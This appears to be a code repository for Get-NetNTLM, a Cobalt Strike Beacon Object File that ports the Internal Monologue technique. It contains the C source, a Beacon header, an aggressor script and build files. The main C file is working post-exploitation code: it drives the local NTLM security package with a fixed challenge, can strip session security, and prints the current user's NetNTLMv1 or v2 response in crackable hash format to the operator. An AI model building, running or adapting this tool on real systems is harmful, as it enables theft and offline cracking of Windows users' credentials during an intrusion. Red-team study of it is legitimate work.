├── Makefile ├── .gitignore ├── README.md ├── Get-NetNTLM.cna ├── beacon.h ├── Get-NetNTLM.c └── LICENSE /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | x86_64-w64-mingw32-gcc -c Get-NetNTLM.c -o Get-NetNTLM.x64.o 3 | x86_64-w64-mingw32-strip --strip-unneeded Get-NetNTLM.x64.o 4 | i686-w64-mingw32-gcc -c Get-NetNTLM.c -o Get-NetNTLM.x86.o 5 | 6 | clean: 7 | rm Get-NetNTLM.x64.o 8 | rm Get-NetNTLM.x86.o 9 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Get-NetNTLM 2 | This is a port of Internal Monologue from https://github.com/GhostPack/Seatbelt 3 | Like Seatbelt, this code will utilize the local SSPI to elict NetNTLM and therefore little to no network traffic will be generated 4 | The DisableESS option can be utilized and if you would like the attempt to disable session security in NetNTLMv1 5 | 6 | Unlike Internal Monologue, this code will not attempt to impersonate a user or modify the registry keys to downgrade to NTLMv1 7 | See the following for an example https://github.com/eladshamir/Internal-Monologue 8 | 9 | # Compile 10 | ``` 11 | make 12 | ``` 13 | 14 | # Usage 15 | ``` 16 | Get-NetNTLM <--DisableESS> 17 | ``` -------------------------------------------------------------------------------- /Get-NetNTLM.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "Get-NetNTLM", 3 | "Retrieve NetNTLM hash for the current user", 4 | "Usage: Get-NetNTLM <--DisableESS> \ 5 | Get-NetNTLM Example: \ 6 | Get-NetNTLM \ 7 | Get-NetNTLM --DisableESS \ 8 | 9 | Get-NetNTLM Options: \ 10 | --DisableESS, "); 11 | 12 | alias Get-NetNTLM { 13 | local('$barch $handle $data $args $DisableESS $all'); 14 | $barch = barch($1); 15 | $handle = openf(script_resource("Get-NetNTLM." . $barch . ".o")); 16 | $data = readb($handle, -1); 17 | closef($handle); 18 | if(strlen($data) == 0) 19 | { 20 | berror($1, "could not read bof file"); 21 | return; 22 | } 23 | $DisableESS = 0; 24 | for ($i = 1; $i < size(@_); $i++) 25 | { 26 | if (@_[$i] eq "--DisableESS") 27 | { 28 | $DisableESS = 0; 29 | } 30 | } 31 | $args = bof_pack($1, "i", $DisableESS); 32 | beacon_inline_execute($1, $data, "go", $args); 33 | }; 34 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | * 7/18/2023: Added BeaconInformation API for 4.9 14 | * 7/31/2023: Added Key/Value store APIs for 4.9 15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue 16 | * 8/31/2023: Added Data store APIs for 4.9 17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, 18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries 19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 20 | */ 21 | 22 | /* data API */ 23 | typedef struct { 24 | char * original; /* the original buffer [so we can free it] */ 25 | char * buffer; /* current pointer into our buffer */ 26 | int length; /* remaining length of data */ 27 | int size; /* total size of this buffer */ 28 | } datap; 29 | 30 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 31 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 32 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 33 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 34 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 35 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 36 | 37 | /* format API */ 38 | typedef struct { 39 | char * original; /* the original buffer [so we can free it] */ 40 | char * buffer; /* current pointer into our buffer */ 41 | int length; /* remaining length of data */ 42 | int size; /* total size of this buffer */ 43 | } formatp; 44 | 45 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 46 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 47 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 48 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 49 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 50 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 51 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 52 | 53 | /* Output Functions */ 54 | #define CALLBACK_OUTPUT 0x0 55 | #define CALLBACK_OUTPUT_OEM 0x1e 56 | #define CALLBACK_OUTPUT_UTF8 0x20 57 | #define CALLBACK_ERROR 0x0d 58 | 59 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 60 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 61 | 62 | 63 | /* Token Functions */ 64 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 65 | DECLSPEC_IMPORT void BeaconRevertToken(); 66 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 67 | 68 | /* Spawn+Inject Functions */ 69 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 70 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 71 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 72 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 73 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 74 | 75 | /* Utility Functions */ 76 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 77 | 78 | /* Beacon Information */ 79 | /* 80 | * ptr - pointer to the base address of the allocated memory. 81 | * size - the number of bytes allocated for the ptr. 82 | */ 83 | typedef struct { 84 | char * ptr; 85 | size_t size; 86 | } HEAP_RECORD; 87 | #define MASK_SIZE 13 88 | 89 | /* 90 | * sleep_mask_ptr - pointer to the sleep mask base address 91 | * sleep_mask_text_size - the sleep mask text section size 92 | * sleep_mask_total_size - the sleep mask total memory size 93 | * 94 | * beacon_ptr - pointer to beacon's base address 95 | * The stage.obfuscate flag affects this value when using CS default loader. 96 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) 97 | * false: beacon_ptr = allocated_buffer (A valid address) 98 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain 99 | * when the 2nd argument is set to DLL_PROCESS_ATTACH. 100 | * sections - list of memory sections beacon wants to mask. These are offset values 101 | * from the beacon_ptr and the start value is aligned on 0x1000 boundary. 102 | * A section is denoted by a pair indicating the start and end offset values. 103 | * The list is terminated by the start and end offset values of 0 and 0. 104 | * heap_records - list of memory addresses on the heap beacon wants to mask. 105 | * The list is terminated by the HEAP_RECORD.ptr set to NULL. 106 | * mask - the mask that beacon randomly generated to apply 107 | */ 108 | typedef struct { 109 | char * sleep_mask_ptr; 110 | DWORD sleep_mask_text_size; 111 | DWORD sleep_mask_total_size; 112 | 113 | char * beacon_ptr; 114 | DWORD * sections; 115 | HEAP_RECORD * heap_records; 116 | char mask[MASK_SIZE]; 117 | } BEACON_INFO; 118 | 119 | DECLSPEC_IMPORT void BeaconInformation(BEACON_INFO * info); 120 | 121 | /* Key/Value store functions 122 | * These functions are used to associate a key to a memory address and save 123 | * that information into beacon. These memory addresses can then be 124 | * retrieved in a subsequent execution of a BOF. 125 | * 126 | * key - the key will be converted to a hash which is used to locate the 127 | * memory address. 128 | * 129 | * ptr - a memory address to save. 130 | * 131 | * Considerations: 132 | * - The contents at the memory address is not masked by beacon. 133 | * - The contents at the memory address is not released by beacon. 134 | * 135 | */ 136 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); 137 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key); 138 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); 139 | 140 | /* Beacon Data Store functions 141 | * These functions are used to access items in Beacon's Data Store. 142 | * BeaconDataStoreGetItem returns NULL if the index does not exist. 143 | * 144 | * The contents are masked by default, and BOFs must unprotect the entry 145 | * before accessing the data buffer. BOFs must also protect the entry 146 | * after the data is not used anymore. 147 | * 148 | */ 149 | 150 | #define DATA_STORE_TYPE_EMPTY 0 151 | #define DATA_STORE_TYPE_GENERAL_FILE 1 152 | 153 | typedef struct { 154 | int type; 155 | DWORD64 hash; 156 | BOOL masked; 157 | char* buffer; 158 | size_t length; 159 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; 160 | 161 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); 162 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); 163 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); 164 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); 165 | 166 | /* Beacon User Data functions */ 167 | DECLSPEC_IMPORT char * BeaconGetCustomUserData(); 168 | -------------------------------------------------------------------------------- /Get-NetNTLM.c: -------------------------------------------------------------------------------- 1 | // Port of https://github.com/GhostPack/Seatbelt in C for when bofnet is not available 2 | // Like Seatbelt, this code will utilize the local SSPI to elict NetNTLM and therefore little to no network traffic will be generated 3 | // Unlike Internal Monologue, this code will not attempt to impersonate a user or modify the registry keys to downgrad to NTLMv1 4 | // Perhaps a future add on is to add a registry key modifications and user/token impersonation 5 | // See the following for an example https://github.com/eladshamir/Internal-Monologue 6 | #define SECURITY_WIN32 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "beacon.h" 14 | 15 | WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); 16 | WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); 17 | WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T); 18 | WINBASEAPI _CRTIMP int __cdecl MSVCRT$sscanf_s(const char *_Src,const char *_Format,...); 19 | WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...); 20 | WINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount); 21 | WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); 22 | DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleA(LPCTSTR, LPCTSTR, ULONG, PLUID, PVOID, SEC_GET_KEY_FN, PVOID, PCredHandle, PTimeStamp); 23 | DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextA(PCredHandle, PCtxtHandle, SEC_CHAR *, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp); 24 | WINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcceptSecurityContext( 25 | PCredHandle phCredential, 26 | PCtxtHandle phContext, 27 | PSecBufferDesc pInput, 28 | ULONG fContextReq, 29 | ULONG TargetDataRep, 30 | PCtxtHandle phNewContext, 31 | PSecBufferDesc pOutput, 32 | ULONG *pfContextAttr, 33 | PTimeStamp ptsExpiry 34 | ); 35 | WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); 36 | WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle phCredential); 37 | WINBASEAPI SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(PCtxtHandle phContext); 38 | #define MAX_TOKEN_SIZE 12288 39 | 40 | BYTE* StringToByteArray(const char* hex) { 41 | size_t numChars = MSVCRT$strlen(hex); 42 | BYTE* bytes = NULL; 43 | bytes = (BYTE*)MSVCRT$calloc(numChars / 2, sizeof(BYTE)); 44 | 45 | for (size_t i = 0; i < numChars; i += 2) { 46 | MSVCRT$sscanf_s(hex + i, "%2hhx", &bytes[i / 2]); 47 | } 48 | 49 | return bytes; 50 | } 51 | char* ByteArrayToString(unsigned char* ba, size_t ba_length) { 52 | char * hex = NULL; 53 | 54 | hex = (char *)MSVCRT$calloc(ba_length * 2 + 1,sizeof(char)); 55 | if (!hex) return NULL; 56 | 57 | for (size_t i = 0; i < ba_length; ++i) { 58 | MSVCRT$sprintf(hex + i * 2, "%02x", ba[i]); 59 | } 60 | 61 | hex[ba_length * 2] = '\0'; 62 | return hex; 63 | } 64 | char* ByteArrayToUnicodeString(const BYTE* ba, size_t ba_length) { 65 | char * str = NULL; 66 | 67 | str = (char *)MSVCRT$calloc(ba_length + 1,sizeof(char)); 68 | if (!str) return NULL; 69 | 70 | for (size_t i = 0; i < ba_length; i += 2) { 71 | str[i / 2] = ba[i]; 72 | } 73 | 74 | str[ba_length / 2] = '\0'; 75 | return str; 76 | } 77 | char* FormatNTLMv2Hash(const char* challenge, const BYTE* user, size_t user_length, const BYTE* domain, size_t domain_length, const BYTE* nt_resp, size_t nt_resp_len) { 78 | #pragma GCC diagnostic push 79 | #pragma GCC diagnostic ignored "-Wdiscarded-qualifiers" 80 | char * user_str = NULL; 81 | char * domain_str = NULL; 82 | user_str = ByteArrayToUnicodeString(user, user_length); 83 | domain_str = ByteArrayToUnicodeString(domain, domain_length); 84 | char * result = NULL; 85 | result = (char *)MSVCRT$calloc(512,sizeof(char)); 86 | 87 | MSVCRT$sprintf(result, "%s::%s:%s:%s:%s", 88 | user_str, domain_str, challenge, 89 | ByteArrayToString(nt_resp, 16), 90 | ByteArrayToString(nt_resp+16, nt_resp_len-16)); 91 | MSVCRT$free(user_str); 92 | MSVCRT$free(domain_str); 93 | #pragma GCC diagnostic pop 94 | return result; 95 | } 96 | char* FormatNTLMv1Hash(const char* challenge, const BYTE* user, size_t user_length, const BYTE* domain, size_t domain_length, const BYTE* lm_resp, size_t lm_resp_len, const BYTE* nt_resp, size_t nt_resp_len) { 97 | #pragma GCC diagnostic push 98 | #pragma GCC diagnostic ignored "-Wdiscarded-qualifiers" 99 | char * user_str = NULL; 100 | char * domain_str = NULL; 101 | user_str = ByteArrayToUnicodeString(user, user_length); 102 | domain_str = ByteArrayToUnicodeString(domain, domain_length); 103 | 104 | char * result = NULL; 105 | result = (char *)MSVCRT$calloc(512,sizeof(char)); 106 | 107 | MSVCRT$sprintf(result, "%s::%s:%s:%s:%s", 108 | user_str, domain_str, 109 | ByteArrayToString(lm_resp, lm_resp_len), 110 | ByteArrayToString(nt_resp, nt_resp_len), 111 | challenge); 112 | MSVCRT$free(user_str); 113 | MSVCRT$free(domain_str); 114 | #pragma GCC diagnostic push 115 | return result; 116 | } 117 | 118 | void ParseNTResponse(BYTE* message, char* challenge) { 119 | BYTE* lm_resp = NULL; 120 | BYTE* nt_resp = NULL; 121 | BYTE* domain = NULL; 122 | BYTE* user = NULL; 123 | char* netNTLM = NULL; 124 | 125 | uint16_t lm_resp_len = *(uint16_t *)(message + 12); 126 | uint32_t lm_resp_off = *(uint32_t *)(message + 16); 127 | uint16_t nt_resp_len = *(uint16_t *)(message + 20); 128 | uint32_t nt_resp_off = *(uint32_t *)(message + 24); 129 | uint16_t domain_len = *(uint16_t *)(message + 28); 130 | uint32_t domain_off = *(uint32_t *)(message + 32); 131 | uint16_t user_len = *(uint16_t *)(message + 36); 132 | uint32_t user_off = *(uint32_t *)(message + 40); 133 | 134 | lm_resp = (BYTE *)MSVCRT$calloc(lm_resp_len,sizeof(BYTE)); 135 | nt_resp = (BYTE *)MSVCRT$calloc(nt_resp_len,sizeof(BYTE)); 136 | domain = (BYTE *)MSVCRT$calloc(domain_len,sizeof(BYTE)); 137 | user = (BYTE *)MSVCRT$calloc(user_len,sizeof(BYTE)); 138 | 139 | MSVCRT$memcpy(lm_resp, message + lm_resp_off, lm_resp_len); 140 | MSVCRT$memcpy(nt_resp, message + nt_resp_off, nt_resp_len); 141 | MSVCRT$memcpy(domain, message + domain_off, domain_len); 142 | MSVCRT$memcpy(user, message + user_off, user_len); 143 | if (nt_resp_len == 24) { 144 | BeaconPrintf(CALLBACK_OUTPUT, "NTLMv1 Response: \n"); 145 | netNTLM = FormatNTLMv1Hash(challenge, user, user_len, domain, domain_len, lm_resp, lm_resp_len, nt_resp, nt_resp_len); 146 | BeaconPrintf(CALLBACK_OUTPUT, "%s\n", netNTLM); 147 | MSVCRT$free(lm_resp); 148 | MSVCRT$free(nt_resp); 149 | MSVCRT$free(domain); 150 | MSVCRT$free(user); 151 | } else if (nt_resp_len > 24) { 152 | BeaconPrintf(CALLBACK_OUTPUT,"NTLMv2 Response: \n"); 153 | netNTLM = FormatNTLMv2Hash(challenge, user, user_len, domain,domain_len, nt_resp, nt_resp_len); 154 | BeaconPrintf(CALLBACK_OUTPUT,"%s\n", netNTLM); 155 | MSVCRT$free(lm_resp); 156 | MSVCRT$free(nt_resp); 157 | MSVCRT$free(domain); 158 | MSVCRT$free(user); 159 | } 160 | else { 161 | BeaconPrintf(CALLBACK_ERROR,"Unknown NTLM Response: "); 162 | MSVCRT$free(lm_resp); 163 | MSVCRT$free(nt_resp); 164 | MSVCRT$free(domain); 165 | MSVCRT$free(user); 166 | } 167 | } 168 | 169 | BYTE* GetSecBufferByteArray(const SecBufferDesc* pSecBufferDesc, size_t* pBufferSize) { 170 | if (!pSecBufferDesc) { 171 | BeaconPrintf(CALLBACK_ERROR,"SecBufferDesc pointer cannot be null"); 172 | return NULL; 173 | } 174 | 175 | BYTE* buffer = NULL; 176 | *pBufferSize = 0; 177 | 178 | if (pSecBufferDesc->cBuffers == 1) { 179 | SecBuffer* pSecBuffer = pSecBufferDesc->pBuffers; 180 | if (pSecBuffer->cbBuffer > 0 && pSecBuffer->pvBuffer) { 181 | buffer = (BYTE *)MSVCRT$calloc(pSecBuffer->cbBuffer,sizeof(BYTE)); 182 | MSVCRT$memcpy(buffer, pSecBuffer->pvBuffer, pSecBuffer->cbBuffer); 183 | *pBufferSize = pSecBuffer->cbBuffer; 184 | } 185 | } 186 | else { 187 | BeaconPrintf(CALLBACK_ERROR,"This was unexpected..."); 188 | return NULL; 189 | } 190 | 191 | return buffer; 192 | } 193 | BOOL IsCredHandleValid(CredHandle *phCred) 194 | { 195 | return (phCred->dwLower != (ULONG_PTR) -1) && (phCred->dwUpper != (ULONG_PTR) -1); 196 | } 197 | 198 | void GetNTLMCreds(char* challenge, BOOL DisableESS){ 199 | SecBufferDesc ClientToken; 200 | SecBuffer ClientSecBuffer; 201 | 202 | ClientToken.cBuffers = 1; 203 | ClientToken.ulVersion = SECBUFFER_VERSION; 204 | ClientToken.pBuffers = &ClientSecBuffer; 205 | ClientSecBuffer.cbBuffer = MAX_TOKEN_SIZE; 206 | ClientSecBuffer.pvBuffer = (BYTE *)MSVCRT$calloc(MAX_TOKEN_SIZE,sizeof(char)); 207 | ClientSecBuffer.BufferType = SECBUFFER_TOKEN; 208 | 209 | SecBufferDesc ServerToken; 210 | SecBuffer ServerSecBuffer = { 0, SECBUFFER_TOKEN, NULL }; 211 | ServerToken.cBuffers = 1; 212 | ServerToken.ulVersion = SECBUFFER_VERSION; 213 | ServerToken.pBuffers = &ServerSecBuffer; 214 | ServerSecBuffer.cbBuffer = MAX_TOKEN_SIZE; 215 | ServerSecBuffer.pvBuffer = (BYTE *)MSVCRT$calloc(MAX_TOKEN_SIZE,sizeof(char)); 216 | ServerSecBuffer.BufferType = SECBUFFER_TOKEN; 217 | 218 | SECURITY_STATUS SecStatus = 0; 219 | 220 | CredHandle hCred, hClientContext, hServerContext; 221 | hCred.dwLower = 0; 222 | hCred.dwUpper = 0; 223 | TimeStamp expiry; 224 | expiry.HighPart = 0; 225 | expiry.LowPart = 0; 226 | 227 | ULONG contextAttr = 0; 228 | 229 | SecStatus = SECUR32$AcquireCredentialsHandleA( 230 | NULL, 231 | "NTLM", 232 | SECPKG_CRED_BOTH, 233 | NULL, 234 | NULL, 235 | 0, 236 | NULL, 237 | &hCred, 238 | &expiry 239 | ); 240 | if (SecStatus != SEC_E_OK){ 241 | BeaconPrintf(CALLBACK_ERROR,"AcquireCredentialsHandle failed with %x\n", SecStatus); 242 | return; 243 | } 244 | 245 | SecStatus = SECUR32$InitializeSecurityContextA( 246 | &hCred, 247 | NULL, 248 | NULL, 249 | ISC_REQ_CONNECTION, 250 | 0, 251 | SECURITY_NATIVE_DREP, 252 | NULL, 253 | 0, 254 | &hClientContext, 255 | &ClientToken, 256 | &contextAttr, 257 | &expiry 258 | ); 259 | if (SecStatus != SEC_I_CONTINUE_NEEDED && SecStatus != SEC_E_OK){ 260 | BeaconPrintf(CALLBACK_ERROR,"InitializeSecurityContext failed with %x\n", SecStatus); 261 | return; 262 | } 263 | SecStatus = SECUR32$AcceptSecurityContext( 264 | &hCred, 265 | NULL, 266 | &ClientToken, 267 | ISC_REQ_CONNECTION, 268 | SECURITY_NATIVE_DREP, 269 | &hServerContext, 270 | &ServerToken, 271 | &contextAttr, 272 | &expiry 273 | ); 274 | if (SecStatus != SEC_E_OK && SecStatus != SEC_I_CONTINUE_NEEDED){ 275 | BeaconPrintf(CALLBACK_ERROR, "AcceptSecurityContext failed with %x\n", SecStatus); 276 | return; 277 | } 278 | size_t serverMessageSize; 279 | 280 | BYTE *serverMessage = GetSecBufferByteArray(&ServerToken, &serverMessageSize); 281 | size_t challengeArrayLength; 282 | BYTE* challengeBytes = StringToByteArray(challenge); 283 | 284 | if (challengeBytes == NULL) { 285 | BeaconPrintf(CALLBACK_ERROR,"Failed to convert challenge string to byte array or invalid challenge length.\n"); 286 | goto cleanup; 287 | } 288 | 289 | if (DisableESS) { 290 | serverMessage[22] &= 0xF7; 291 | } 292 | 293 | MSVCRT$memcpy(serverMessage + 24, challengeBytes, 8); 294 | MSVCRT$memset(serverMessage + 32, 0, 16); 295 | 296 | SecBuffer ServerSecBuffer2 = { 0, SECBUFFER_TOKEN, NULL };; 297 | ServerSecBuffer2.BufferType = SECBUFFER_TOKEN; 298 | ServerSecBuffer2.cbBuffer = serverMessageSize; 299 | ServerSecBuffer2.pvBuffer = serverMessage; 300 | ServerToken.pBuffers = &ServerSecBuffer2; 301 | 302 | SecBuffer ClientSecBuffer2 = { 0, SECBUFFER_TOKEN, NULL };; 303 | ClientSecBuffer2.pvBuffer = (BYTE *)MSVCRT$calloc(MAX_TOKEN_SIZE,sizeof(char)); 304 | ClientSecBuffer2.cbBuffer = MAX_TOKEN_SIZE; 305 | ClientSecBuffer2.BufferType = SECBUFFER_TOKEN; 306 | ClientToken.pBuffers = &ClientSecBuffer2; 307 | 308 | SecStatus = SECUR32$InitializeSecurityContextA( 309 | &hCred, 310 | &hClientContext, 311 | NULL, 312 | ISC_REQ_CONNECTION, 313 | 0, 314 | SECURITY_NATIVE_DREP, 315 | &ServerToken, 316 | 0, 317 | &hClientContext, 318 | &ClientToken, 319 | &contextAttr, 320 | &expiry 321 | ); 322 | BeaconPrintf(CALLBACK_OUTPUT,"SecStatus: %x\n", SecStatus); 323 | 324 | if (SecStatus == SEC_E_OK) { 325 | size_t responseSize; 326 | BYTE* response = GetSecBufferByteArray(&ClientToken, &responseSize); 327 | ParseNTResponse(response, challenge); 328 | MSVCRT$free(response); 329 | } else if (SecStatus == SEC_E_NO_CREDENTIALS) { 330 | BeaconPrintf(CALLBACK_ERROR,"The NTLM security package does not contain any credentials\n"); 331 | } else { 332 | BeaconPrintf(CALLBACK_ERROR,"InitializeSecurityContext (client) failed. Error: %x\n", SecStatus); 333 | } 334 | 335 | cleanup: 336 | BeaconPrintf(CALLBACK_OUTPUT, "cleanup time"); 337 | if (IsCredHandleValid(&hCred)){ 338 | SECUR32$FreeCredentialsHandle(&hCred); 339 | } 340 | if (IsCredHandleValid(&hClientContext)){ 341 | SECUR32$FreeCredentialsHandle(&hClientContext); 342 | } 343 | if (IsCredHandleValid(&hServerContext)){ 344 | SECUR32$FreeCredentialsHandle(&hServerContext); 345 | } 346 | if (ClientSecBuffer.pvBuffer != NULL) { 347 | MSVCRT$free(ClientSecBuffer.pvBuffer); 348 | } 349 | if (ServerSecBuffer.pvBuffer != NULL) { 350 | MSVCRT$free(ServerSecBuffer.pvBuffer); 351 | } 352 | if (ClientSecBuffer2.pvBuffer != NULL) { 353 | MSVCRT$free(ClientSecBuffer2.pvBuffer); 354 | } 355 | if (serverMessage != NULL) { 356 | MSVCRT$free(serverMessage); 357 | } 358 | if (challengeBytes != NULL) { 359 | MSVCRT$free(challengeBytes); 360 | } 361 | } 362 | VOID go(char* buf, int len) { 363 | datap parser; 364 | BeaconDataParse(&parser, buf, len); 365 | BOOL DisableESS = FALSE; 366 | DisableESS = BeaconDataInt(&parser); 367 | GetNTLMCreds("1122334455667788", DisableESS); 368 | } 369 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------